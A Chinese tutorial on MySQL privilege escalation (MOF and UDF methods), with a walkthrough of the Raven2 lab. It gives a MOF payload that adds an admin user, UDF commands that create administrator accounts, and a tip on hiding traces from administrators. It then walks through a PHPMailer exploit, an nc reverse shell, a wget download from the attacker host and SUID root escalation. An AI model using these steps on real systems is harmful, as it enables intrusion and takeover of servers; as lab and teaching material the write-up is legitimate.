提权实战!
就是提升权限,当我们拿到一个shell权限较低,当满足MySQL提权的要求时,就可以进行这个提权。
MySQL数据库提权(Privilege Escalation)是指攻击者通过技术手段,从低权限的数据库用户提升到更高权限(如root或管理员),从而获得对数据库或操作系统的控制权。这种行为通常属于非法入侵,严重威胁数据安全。
1. MySQL提权必要条件
- 有root权限,以system权限运行
- 可以执行SQL语句
1.1. 获取root密码
- 查看数据库关键配置文件
关键字:config,coon,sql,data,inc,database
可以以SQLconnection为一个列子看看

在以inc为后缀的文件中MySQL的用户密码都在,这就是数据库关键文件

- 下载MySQL安装路径下的数据文件
(1)安装路径下的 data 目录中存放的是数据库的数据信息
(2)root 账号密码存储在 mysql 数据库下的 user 表中
(3)完整路径=安装路径+\data\mysql\user.MYD
这个就是当我们拿到shell后,找到MySQL安装路径,在MySQL中data文件的mysql文件夹中的user.MYD,
user.MYD文件中有密码,不过是经过MD5加密的,我们可以进行解码

打开如下图所示

去cmd5网站解密,🆗完成

- 暴力破解
2. MySQL 提权的方式
2.1. MOF 提权
原理
利用了 C:\Windows\System32\wbem\MOF 目录下的 nullevt.mof 文件,利用该文件每分钟会去执行一次的特性,向该文件中写入 cmd 命令,就会被执行。
条件
- 针对windows低系统,如xp,server2003.
- 需要对C:\Windows\System32\wbem\MOF目录具有读写权限。
- 找到目录写入mof文件。
2.1.1. 提权操作
1、在可写目录中上传 mof 文件。把 mof 文件上传到 C:/wmpub/nullevt.mof
2、把这个文件复制到 C:/Windows/System32/wbem/MOF/nullevt.mof 目录下 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
将下面这段代码复制到 mof 后缀的文件中
# pragma namespace("\.\root\subscription")
instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2";
Query = "Select * From InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL"; };
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new
ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
把这个 mof 文件上传到目标机中,可以修改代码,进行命令执行。
目前 mof 提权方法用的比较少,建议使用 udf 脚本进行 MySQL 数据库提权
2.1.2. 应急措施
- 停止winmgmt服务:net stop winmgmt
- 将文件先备份,再删除文件夹:C:\Windows\System32\wbem\Repository
- 再启动winmgmt服务:net start winmgmt
2.2. UDF提权
原理
UDF(user defind funtion)用户自定义函数,通过添加新的函数,对数据库进行命令执行。
2.2.1. 收集信息
进行udf提权是有条件的,符合条件方可进行
select version();获取数据库版本select user();获取数据库用户名,因为我们 要拥有最高权限第一标题说过select @@basedir;获取数据库安装目录show variables like '%plugin%';查看 plugin 路径
2.2.2. Windows-udf提权
UDF可以理解为MySQL的函数库,用来放一些新的函数(自定义函数)。
在符合MySQL的语法情况下,可以调用UDF文件中的函数,
利用这一特性,我们可以上传一个恶意的udf文件(主要功能:执行命令 udf.dll),使MySQL调用dll中的函数实现某些功能(MySQL本身不能执行命令)。
2.2.2.1. 条件
- MySQL版本>5.1
udf.dll文件必须放在MySQL安装目录的 MySQL\Lib\Plugin\文件夹下,该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 MySQL\Lib\Plugin\文件夹,(当我们创建完后,还可使用4指令查看是否成功)然后将 udf.dll 导入到该 目录。(后面工具使用情况下也是一样的,需将文件夹创建好才可以将udf.dll文件导入)
- MySQL版本<5.1
udf.dll 文件在 windows server 2003 下放置于 c:/windows/system32/目录,在 windows server 2000 下放置在 c:/winnt/system32/目录。掌握 mysql 数据库的 root 账户,从而拥有对 mysql 的 insert 和 delete 权限,以创建和抛弃函数。
2.2.2.2. 提权步骤
对于数据库的写入文件什么的,会有一个 secure_file_priv 函数,该函数是用来限制读写的,它具有三种方式:同时在学习笔记的数据库提权数据库权限获取中手写木马也有涉及
1、secure_file_priv 的值为 NULL,表示限制 mysql 不允许导入|导出
2、当 secure_file_priv 的值为/tmp/ ,表示限制 mysql 的导入|导出只能发生在/tmp/目录 下(其他目录也可以)
3、当 secure_file_priv 的值没有具体值时,表示不对 mysql 的导入|导出做限制
打开虚拟机,首先对secure_file_priv 设置为空,只有为空时才能不对MySQL的输入和输出有限制
2.2.2.2.1. DLL 文件的获取方法:
在 sqlmap/data/udf/mysql 目录下,在 Windows 目录中有 32 位和 64 位的 dll 文件 (MySQL 位数)。
1,解码 将这个被sqlmap加密的dll文件进行解码
文件夹中的 dll 文件是通过异或编码的,可以使用 sqlmap/extract/cloak.py 进行解码
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
2,通过loadfile加载刚刚解码的内容, 将解码的内容写入到 lib/plugin 中
将解码后的 DLL 文件(包含用户自定义函数的 DLL 文件)上传到可写目录,再导入 到 MySQL\lib\plugin\中
select LOAD_FILE('C:/可写目录/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';
将 DLL 中的函数引入到 MySQL 数据库中
3,创建自定义函数
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
创建名为 sys_eval 的函数,返回值为 string 类型,调用的文件是 lib_mysqludf_sys.dll
注意:需要创建.dll 文件中存在的函数,可以使用十六进制编辑器打开.dll 文件,查看可以被创建的函数。
使用该函数去执行系统命令提权
查看当前用户权限
select sys_eval("whoami");
创建账号并提升为管理员权限
select sys_eval("net user winhex passw@ord /add");
select sys_eval("net localgroup administrators winhex /add");
将之前引入的函数删除掉防止被管理员发现,防止其他攻击者使用
drop function sys_eval; delete from mysql.func where name='sys_eval';
2.2.2.2.2. 工具使用UDF提权



由于我电脑Java环境不适用于该工具,所以使用另外一个Java版本,启动该工具要在Java文档的bin文档使用命令行,方可使用。

右键新增添加,如图所示:

当MySQL存在\Lib\Plugin\ 时工具导入成功

创建文件如下图

查看当前用户权限
select sys_eval("whoami"); 发现具有回应,说明函数eval创建成功

2.2.3. Linux-udf提权
- 通过自定义函数来实现任何命令
- 包含自定义函数的文件为 .so 文件
2.2.3.1. 利用条件
•在 my.ini 的[mysqld]下,添加 secure_file_priv="",不限制导入导出路径
•具有数据库 root 账户的密码,且 mysql 数据库以 root 权限运行
•具有 sql 语句的执行权限(一般都具有)
•导出目录可写( secure_file_priv 函数)
•系统中的 selinux 处于关闭状态
2.2.3.2. 提权步骤
- 查找插件库的路径
show variables like '%plugin%';

使我们找到 plugin ,因为我们需要将后续创建的函数导入该文件夹中,上面说过udf解码后的文件必须在该文件夹中才可以使用
找到对应操作系统数据库的 UDF 库文件
sqlmap-master\data\udf\mysql\linux\64 下的 lib_mysqludf_sys.so_文件
将 so 文件(UDF 库文件)进行 16 进制编码
将 so 文件的内容解码,写入到 mysql 插件库目录中
select unhex('so 文件的 16 进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
查看 udf 库所支持的函数
注意:需要创建.so 文件中存在的函数,可以使用十六进制编辑器打开.so 文件,查看可以被创建的函数。
创建函数
写入之后,执行创建函数的命令,就会创建一个 sys_eval 的函数,用来执行系统命 令,这个函数执行的系统命令全部都是 system 权限。
create function sys_eval returns string soname 'xxx.so'; 执行系统命令,提权
sys_eval 这个函数就可以执行系统命令,括号里输入系统命令即可。
查看当前用户权限
select sys_eval("whoami");
创建账号并提升为管理员权限不需要判断 mysql 的版本,直接查看路径,直接写 so 文件,Linux 里面的文件是 so 文 件。
getshell 之后,在终端输入 whoami,发现只是 apache 用户权限。寻找网站的数据库配置文件,查看数据库的账号密码,可以看到账号 root 密码 root。登录 mysql 数据库,输入 show variables like '%plugin%';查看 plugin 路径。得到的结果为:

我们把 so 文件进行 16 进制编码,再解码写入目录中,返回为 true,写入成功。
select unhex('so 文件的 16 进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
写入之后,执行创建函数的命令,就会创建一个 sys_eval 的函数,用来执行系统命 令,这个函数执行的系统命令全部都是 system 权限。 create function sys_eval returns string soname 'xxx.so'; sys_eval 这个函数就可以执行系统命令,括号里输入系统命令即可。
select sys_eval('whoami')
3. UDF提权实战
使用虚拟机中的kali,再开启靶机Raven2
靶机介绍:
靶场地址:https://www.vulnhub.com/entry/raven-2,269/靶机描述:Raven 2 是一个中级 boot2root VM。有 4 个 flag 要捕获。
目标:获取到四个 flag
3.1. 准备工作
事先我们的kali和raven要处于同一个网段,这样就可以使用工具 namp 获取靶机的IP地址进行访问
ifconfigLinux中查询IP

kali IP地址:192.168.119.128

使用nmap获取靶机IP,使用arp-scan也可以
nmap -sP 192.168.119.1/24

arp-scan -l
发现使用arp-scan扫描出了D段为133的IP地址,并没有扫出128的
所以大概率靶机的IP为:192.168.119.133

再使用nmap探测IP开放的端口
nmap -sV -p- 192.168.119.133

3.2. 进行访问并查找flag
浏览器访问该地址:192.168.119.133/80
当然可以不需要端口,因为HTTP服务端口本来就是80

接下来使用dirb爆破网站的子目录,看看能不能获取一些版本信息
dirb http://192.168.119.133:80

它扫描出来许多的分站,从一级目录开始扫
我们可以对这些进行访问选中 /vendor 目录

当我们打开第一个文件,发现是一篇阅读文件,没找到什么
打开PATH文件,找到第一个flag->flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

在readme.md文件发现PHPmailer 插件 是一个漏洞

再打开下面的version文件可以看到PHPmailer 插件的版本为 5.2.16


3.2.1. 漏洞利用
现在使用searchsploit查询是否有这个版本的exp
- “exp”是“exploit”的缩写,意为漏洞利用代码。在安全领域,它特指针对特定漏洞编写的攻击程序或脚本,用于触发漏洞、获取系统权限或执行其他恶意操作。
- PHPMailer:一个PHP邮件库,历史版本中存在已知漏洞。
- searchsploit:用户提到的命令应为
searchsploit(Exploit-DB的搜索工具),用于查询公开的漏洞利用代码(exp)。
searchsploit PHPMailer 本版本是 5.2.16 ,找到最近的python脚本

3.2.2. 确定漏洞利用脚本地址
3.2.2.1. 法 一
使用 -p 参数显示单个条目的完整路径
如果已知漏洞编号或相对路径(例如 php/webapps/40974.py),可直接运行:
searchsploit -p php/webapps/40974.py
输出示例:
Exploit: PHPMailer < 5.2.18 - Remote Code ExecutionURL: https://www.exploit-db.com/exploits/40974Path: /usr/share/exploitdb/exploits/php/webapps/40974.py
3.2.2.2. 法二
Python攻击脚本的地址是通过以下步骤确定的:
使用searchsploit搜索漏洞:
执行命令 searchsploit PHPMailer,工具会列出所有匹配的漏洞利用脚本及其路径。例如:
- php/webapps/40974.py PHPMailer < 5.2.18 - Remote Code Execution
- 拼接完整路径:
searchsploit的本地数据库默认安装在/usr/share/exploitdb/,因此脚本的完整路径为:
/usr/share/exploitdb/exploits/php/webapps/40974.py
复制脚本到目标目录:
使用 cp 命令将脚本复制到指定位置(如 /root):
- cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
关键点:
searchsploit输出的路径是相对于本地漏洞库根目录(/usr/share/exploitdb/)的。- 复制时需要补全完整路径,格式为:
/usr/share/exploitdb/exploits/[分类]/[子目录]/[脚本名]。
将脚本复制出来
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

然后cat指令打开该文件对该脚本进行配置修改

3.2.3. vim编辑脚本
开启了40974.py这一个python脚本,使用它向网址写入一个后门文件
- vim 编辑文本 vim 40974.py
按i进入编辑
使用红线标记的都为需要更改的

目标IP下一个修改为任意的PHP文件名
注:目标网址路径一定要正确
目标路径在获得第一个flag时有,将该地址修改上去

更改好如下图所示,再先按Esc :wq 保存退出

现在信息已经完毕,接下来使用python3运行该脚本,运行成功的标志为 [+]
运行成功,成功在目录正生成shell文件
保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件best.php

3.2.4. 对网址进行命令操作
- 建立监听
nc -lvp 9999 ----->9999为我的端口

注意:我这种现象属于当时vim编辑脚本的时候出现了问题,我把我的kali地址打错了导致错误,找出错误花了一分钟
将我的IP改正确

再次进行监听,并且访问之前创建的文件
发现还是监听不了,仔细观察脚本代码是否有哪里错误,发现路径多了一层vendor
改回来后,在访问best.php,监听成功!!!!

返回成功获得shell
python -c 'import pty; pty.spawn("/bin/bash")' 使用该条命令获取交互式 shell ,让我们更方便操作

接着我们尝试使用 find 查找 flag 文件
find / -name flag*
找了许多文件,慢慢找

直接在kail中找
/var/www/flag2.txt
找到

因为flag3是图片类型,所以使用网址去看
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

接下来还有一个flag4,肯定在以下目录中。找根目录

ls wordpress 打开这个,查看配置文件,因为我们需要拿到MySQL权限用来查找flag
关键字:config,coon,sql,data,inc,database

cd wordpress :切换至该目录
cat wp-config.php 打开该文件

打开文件后发现是MySQL文件,文件中还有MySQL账号密码
username:root
password:R@v3nSecurity

然后就是登入这个数据库了
mysql -u root -pR@v3nSecurity
直接登入数据库

3.3. 对数据库进行udf提权
由于 MySQL 支持 UDF,支持我们自定义函数来扩展功能。当我们创建带有调用 cmd 函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入 Mysql 时, 其中的调用函数拿出来当作 mysql 的函数使用。
提权条件
1)mysql 数据库的 root 权限
2)secure_file_priv 的值为空
3)如果 mysql 版本大于 5.1,udf.dll 文件必须放置在 mysql 安装目录的 lib\plugin 文件夹下
4)如果 mysql 版本小于 5.1, udf.dll 文件在 windows server 2003 下放置于 c:\windows\system32 目录,在 windows server 2000 下放置在 c:\winnt\system32 目录。查看权限 SHOW GRANTS;
3.3.1. 流程
- 查看目前权限
show grants;

- 查看数据库版本,一定要是大写的,因为小写的试过了
Select @@version();

版本大于5.1,因此我们接下来要创建文件
- 再查看secure_file_priv 的值符不符合条件
show global variables like 'secure%';

符合条件,MySQL版本大于5.1,所以要把udf这个文件放置在MySQL安装目录lib\plugin文件下才能创建自定义函数。
- 使用kali漏洞库搜索udf
这里使用1518.c 将1518.c下载到本地,再cp到root目录下
searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root

- 接下来将下载好的文件解码
先执行 gcc -g -c 1518.c
再执行 gcc -g -shared -o test.so 1518.o -lc

命令解释
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c 库名
- 导入靶机tmp目录
tmp目录:
tmp目录通常权限宽松,需防范恶意文件注入(如木马、脚本)。- 可以利用开启kali本地HTTP服务,让靶机下载kali中test.so到靶机的tmp目录
在kali中开启http服务
python3 -m http.server 80

在shell中启动下载test.so文件
wget http://192.168.119.128/test.so

当我们总是连接不上的时候,应该是IP地址更改了
下载成功


- 登入数据库创建自定义函数
使用mysql库,创建数据表test
use mysql;
create table test(line blob);

创建如图所示
- 将test.so文件插入
insert into test values(load_file('/tmp/test.so')); 插入数据

检查是否插入成功:select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';
#( test 表成功插入二进制数据,然后利用 dumpfile 函数把文件导出 outfile 多行导出,dumpfile 一行导出 outfile 会有特殊的转换,而 dumpfile 是原数据导出新建存储函数)

- 创建自定义函数
create function do_system returns integer soname 'test.so';
#(创建自定义函数 do_system 类型是 integer,别名 soname 文件名字然后查询函数是否创建成功)

select * from mysql.func;
查询函数是否创建成功

select do_system('chmod u+s /usr/bin/find');
#(调用 do_system 函数来给 find 命令所有者的 suid 权限,使其可以执行 root 命令)

- 提权操作
退出 mysql,使用/usr/bin/find 提权
提权之前的权限如下图
进行提权
touch test
find test -exec "/bin/sh" \;
成功提权为 root 权限

- 拿到第四个flag
进入root目录拿第四个flag

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
相关文章:
提权实战!
就是提升权限,当我们拿到一个shell权限较低,当满足MySQL提权的要求时,就可以进行这个提权。 MySQL数据库提权(Privilege Escalation)是指攻击者通过技术手段,从低权限的数据库用户提升到更高权限ÿ…...
Vue使用el-table给每一行数据上面增加一行自定义合并行
// template <template><el-table:data"flattenedData":span-method"objectSpanMethod"borderclass"custom-header-table"style"width: 100%"ref"myTable":height"60vh"><!-- 订单详情列 -->&l…...
ChromeOS 135 版本更新
ChromeOS 135 版本更新 一、ChromeOS 135 更新内容 1. ChromeOS 电池寿命优化策略 为了延长 Chromebook 的使用寿命,ChromeOS 135 引入了一项全新的电池充电限制策略 —— DevicePowerBatteryChargingOptimization,可提供更多充电优化选项,…...
国内协作机器手焊接领域领军人物分析
国内焊接协作机器手领域的专家涵盖学术界与产业界,他们在核心技术研发、行业标准制定及重大工程应用中发挥关键作用。以下从技术方向、行业贡献、典型案例三个维度展开分析: 一、学术界领军人物:理论创新与技术突破 1. 吴林(哈尔滨工业大学) 学术地位:中国焊接学会名誉…...
javaSE.Lambda表达式
如果一个接口中有且只有一个待实现的抽象方法,那么我们可以将匿名内部类简写为Lambda表达式。 简写规则 标准格式: (【参数类型 参数名称,】...) -> {代码语句, 包括返回值} 只有一行花括号{}可以省略。…...
【随身wifi】青龙面板保姆级教程
0.操作前必看 本教程基于Debian系统,从Docker环境。面板安装,到最后拉取脚本的使用。 可以拉库跑狗东京豆,elm红包等等,也可以跑写自己写的脚本,自行探索 重要的号别搞,容易黑号,黑号自己负责…...
Android 之美国关税问题导致 GitHub 403 无法正常访问,责任在谁?
这几天各国关税问题导致世界动荡不安,如今GitHub又无法正常访问,是不是Google到时候也无法正常使用了。...
深入解析 Android 图形系统:Canvas、Skia、OpenGL 与 SurfaceFlinger 的协作
在 Android 应用开发中,流畅的 UI 渲染是用户体验的核心。但你是否好奇,一个简单的 View 是如何从代码中的 onDraw() 方法一步步变成屏幕上的像素的?本文将从底层图形系统的视角,解析 Android 中 Canvas、Skia、OpenGL ES 和 Surf…...
4月13日星期日早报简报微语报早读
4月13日星期日,农历三月十六,早报#微语早读。 1、北京处置倒伏树木843棵,已全部处置完毕; 2、山西大同“订婚强奸案”本月16日二审宣判,一审男方被判3年刑; 3、今年我国快递业务量已突破500亿件…...
动态路由, RIP路由协议,RIPv1,RIPv2
动态路由 1、回顾 路由:从源主机到目标主机的过程 源主机发送数据给目标主机,源主机会查看自身的路由信息 如果目标主机是自己同网段,源主机查看的是直连路由 如果目标主机和自己不同网段,源主机查看的是静态路由、动态路由、默…...
【已更新完毕】2025泰迪杯数据挖掘竞赛B题数学建模思路代码文章教学:基于穿戴装备的身体活动监测
基于穿戴装备的身体活动监测 摘要 本研究基于加速度计采集的活动数据,旨在分析和统计100名志愿者在不同身体活动类别下的时长分布。通过对加速度数据的处理,活动被划分为睡眠、静态活动、低强度、中等强度和高强度五类,进而计算每个志愿者在…...
212、【图论】字符串接龙(Python)
题目描述 题目链接:110. 字符串接龙 代码实现 import collectionsn int(input()) beginStr, endStr input().split() strList [input() for _ in range(n)]deque collections.deque() # 使用队列遍历结点 deque.append([beginStr, 1]) # 存储当前字符串和遍…...
车载以太网-TLS
文章目录 车载以太网与TLS的技术背景核心定位车载以太网TLS的技术架构车载TLS的核心安全机制TLS报文结构详解TLS工作机制密钥交换与计算流程标题完整握手流程(1-RTT)数据传输加密流程车载TLS的独特优化策略车载TLS的安全威胁相关标准车载以太网TLS(Transport Layer Security…...
大模型面经 | 手撕多头注意力机制(Multi-Head Attention)
大家好,我是皮先生!! 今天给大家分享一些关于大模型面试常见的面试题,希望对大家的面试有所帮助。 往期回顾: 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题一) 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题二) 大模型面经 | 春招、秋招算法…...
02_位掩码逻辑及Java示例
文章目录 一、位掩码核心逻辑二、Java示例:权限管理三、关键点解析四、优缺点分析五、适用场景 位掩码(Bitmask)是一种利用二进制位进行状态管理的技术,通过位运算高效处理多个布尔标志。 一、位掩码核心逻辑 基本概念…...
【UE5】RTS游戏的框选功能+行军线效果实现
目录 效果 步骤 一、项目准备 二、框选NPC并移动到指定地点 三、框选效果 四、行军线效果 效果 步骤 一、项目准备 1. 新建一个俯视角游戏工程 2. 新建一个pawn、玩家控制器和游戏模式,这里分别命名为“MyPawn”、“MyController”和“MyGameMode” 3. 打开“MyGam…...
GO语言-数据类型
文章目录 变量定义1. 整数类型2. 浮点类型3. 字符类型4. 布尔类型5. 字符串类型5.1 字符串的本质5.2 常用字符串处理函数(strings包)5.3 修改字符串的方式 6. 数据默认值7. 类型转换 变量定义 代码如下: package mainimport "fmt"var i1 1000 var i2 i…...
低资源需求的大模型训练项目---3、综合对比与选型建议
综合对比与选型建议 1. Qwen2.5-0.5B 适用性分析: • 优势: • 工业级全流程支持:阿里云提供了完整的预训练、微调、强化学习(RLHF)代码和文档,支持从数据处理到模型部署的全链路实践。 • 性能与场景适配…...
设计模式 四、行为设计模式(2)
五、状态模式 1、概述 状态设计模式是一种行为型设计模式,它允许对象在其内部状态发生时改变其行为,这种模式可以消除大量的条件语句,并将每个状态的行为封装到单独的类中。 状态模式的主要组成部分如下: 1)上…...
FEA 仿真助力高速连接器设计中的信号完整性
各行各业高速信号软件和硬件的快速发展,带来了更高的频率和带宽。因此,对连接器组件的整体性能要求也更加严格。同时,器件和封装形式、互连以及系统内其他设备的小型化也带来了额外的设计挑战。所有这些都对信号传输完整性产生重大影响。 高速…...
yum的基本操作和vim指令
在我们的手机端或者Windows上下载软件,可以在相应的应用商店或者官网进行下载,这样对于用户来说十分的方便和便捷。而在Linux上,也有类似的安装方式,我们来一一了解一下。 Linux安装软件的3种方法 源代码安装 在Linux下安装软件…...
synchronize 或者lock 锁常见的使用场景
在 Java 多线程编程中,synchronized 和 Lock(如 ReentrantLock)是两种常见的线程同步机制。以下是它们的核心区别和典型使用场景,结合代码示例说明: 一、synchronized 的常见场景 1. 简单的临界区保护 public class …...
Qt触摸屏隐藏鼠标指针
Qt触摸屏隐藏鼠标指针 Chapter1 Qt触摸屏隐藏鼠标指针 Chapter1 Qt触摸屏隐藏鼠标指针 使用Qt开发的屏幕软件HMI不需要显示鼠标,qt设置,可以在只启动HMI的时候隐藏光标,退出时再显示。 1.如果只希望在某个 widget 中不显示鼠标指针…...
LangGraph——Agent AI的持久化状态
LangGraph 内置了一个持久化层,通过检查点(checkpointer)机制实现。当你使用检查点器编译图时,它会在每个超级步骤(super-step)自动保存图状态的检查点。这些检查点被存储在一个线程(thread)中,可在图执行后随时访问。由于线程允许在执行后访…...
【双指针】专题:LeetCode 1089题解——复写零
复写零 一、题目链接二、题目三、算法原理1、先找到最后一个要复写的数——双指针算法1.5、处理一下边界情况2、“从后向前”完成复写操作 四、编写代码五、时间复杂度和空间复杂度 一、题目链接 复写零 二、题目 三、算法原理 解法:双指针算法 先根据“异地”操…...
HTTP 1.1 比 HTTP1.0 多了什么?(详尽版)
相较于HTTP 1.0,1.1 版本增加了以上特性: 1. 新增了连接管理即 keepalive,允许持久连接。 定义: Keepalive允许客户端和服务器在完成一次请求-响应后,保持连接处于打开状态,以便后续请求复用同一连接&am…...
【C++初学】C++核心编程(一):内存管理和引用
前言 在C的世界里,面向对象编程(OOP)是核心中的核心。它不仅是一种编程范式,更是一种思考问题的方式。本文将带你从C的内存分区模型出发,深入探讨引用、函数、类和对象、继承、多态以及文件操作等核心概念。通过丰富的…...
深度学习(对抗)
数据预处理:像素标记与归一化 在 GAN 里,图像的确会被分解成一个个像素点来处理。在你的代码里,transform transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5,), (0.5,))]) 这部分对图像进行了预处理: tra…...
(PC+WAP)大气滚屏网站模板 电气电力设备网站源码下载
源码介绍 (PCWAP)大气滚屏网站模板 电气电力设备网站源码下载。PbootCMS内核开发的网站模板,该模板适用于滚屏网站模板、电气电力设备网站源码等企业,当然其他行业也可以做,只需要把文字图片换成其他行业的即可;PCWAP,…...
笔试专题(九)
文章目录 十字爆破(暴力)题解代码 比那名居的桃子(滑动窗口/前缀和)题解代码 分组(暴力枚举 优化二分)题解代码 十字爆破(暴力) 题目链接 题解 1. 暴力 预处理 2. 如果单纯的暴…...
